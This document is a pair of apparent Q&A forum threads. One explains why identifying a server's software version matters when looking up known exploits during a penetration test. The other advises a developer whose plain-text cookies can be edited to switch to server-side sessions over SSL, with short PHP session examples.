Is it useful to determine the name of the server software while doing a penetration test? Getting the name of the server software through netcat or curl or any other method, is really useful?

I mean, OS fingerprinting is useful in order to tailor an attack. For example with regard to OS command injection it's obviously important since command syntax is OS dependent. But if I know that a specific site has an Apache server, does that really matter? If so, can you explain it to me?

Like when doing car maintenance, when you know which constructor, you will take the right maintenance manual (Don't try to repair a Ford Granada with the manual of a Honda civic).

When trying to break a particular system, you will browse for known exploit that could help you for this particular system.

Every net servers (From Sendmail to Apache, with Samba, wuFTPd and all others) have a bunch of published exploits which let an attacker to execute arbitrary code by using previously discovered security failure. All critical failure are quickly patched and newer version are published...

If a server use Zebulorglub V2.0.1, don't try exploit concerning Zebulorglub V2.0.0 or older, but could try exploit working on V2.0.1 or higher...

(Nota: Zebulorglub is a dummy name;)


HTML Cookie security I want to run something by everyone. I'm trying to upgrade and do a major overhaul on a website and I've noticed something, when a user logs in. Several cookies get set like nicknames and a usernumbers. The website is an online store and I've noticed that if I change the cookie value, I can get other account's item listing. This is only if I hack the cookie value and change it by creating a custom program in .NET that will allow me to change all header info. To me, this poses a potentially massive problem security wise but I'm not sure if I am just being over paranoid or if this is a real threat. If it is a real threat, how can I be sure that the user is actually the user and that these cookies aren't being changed. So far I have zero evidence that this has happened before to this website. I remember reading about Yahoo! and that they got hacked by cookie forging. (I think that's what it was). I'm not sure if I'm explaining myself very well or not or if there is another place to ask this. If someone can point me to a resource or something it'd be much appreciated!

Edit (1): It should be noted that the cookie values are stored in plain text. This a bad move? Should I use this answer to improve security? Cookie Security

Edit (2): Ok, so this has been moved twice now, can anyone point me to something useful?

TL;DR: Use sessions over SSL

You are correct, this is a bad thing. The general rule of security in an application, never trust the user, applies here. The issue, is a lazy web developer will believe that a cookie doesn't count as user input.

This could not be further from the case. It is exceptionally easy to make modifications to any data sent to the server from the client, whether it be direct user input or a cookie.

There are plenty of use cases for cookies, and they play a key role in web security, but it this case, it sounds like they are about as secure as a hidden form element.

So how do you fix this? Sessions. A session also stores data as a cookie, but unlike your cookies, is just a long string. This serves as a secure (with a caveat) method for the server to identify a user. With each HTTP request, the session id is included. Once the server has associated a session with a client, relevant session data is stored on the server. The server knows what session to access based on the id sent by the client.

A session id is better for a few reasons, the server controls the data associated with the session, not the client. For example, you might store your cart total as a session variable. If the client had direct access to this, they could modify the amount they pay after you have submitted the purchase order, but before their card is charged.

You could safely store the privilege level of a user as a session variable, where it would be unsafe to do so as a regular cookie as well.

Now to the caveats. A session id is still not 100% secure. If I were to log onto your site over a public network, my authentication would be successful, and you would provide me a session id. Now, anyone who knows this id can use it to send HTTP requests as me. This is session hijacking. There also exist some timing attacks and such that attempt to reduce the entropy that exists in the session id.

You should only allow a user to login or communicate securely with your server over an SSL/TLS connection. This will greatly reduce the chances of a MITM attack or session hijacking. If you can also reset the session id and require the user to have entered their credentials within a certain timeframe. For example, hopefully your bank forces you to re login after a certain amount of time.

Here are some code examples in php for using sessions

session_start() // You must include this at the top of every page basically
                // I know, its odd, just go with it

$_SESSION['username'] = $user // How you could save the username to a session

session_unset() // Clear out the session (logout the user). If you really care
                // about security you will overwrite each session var first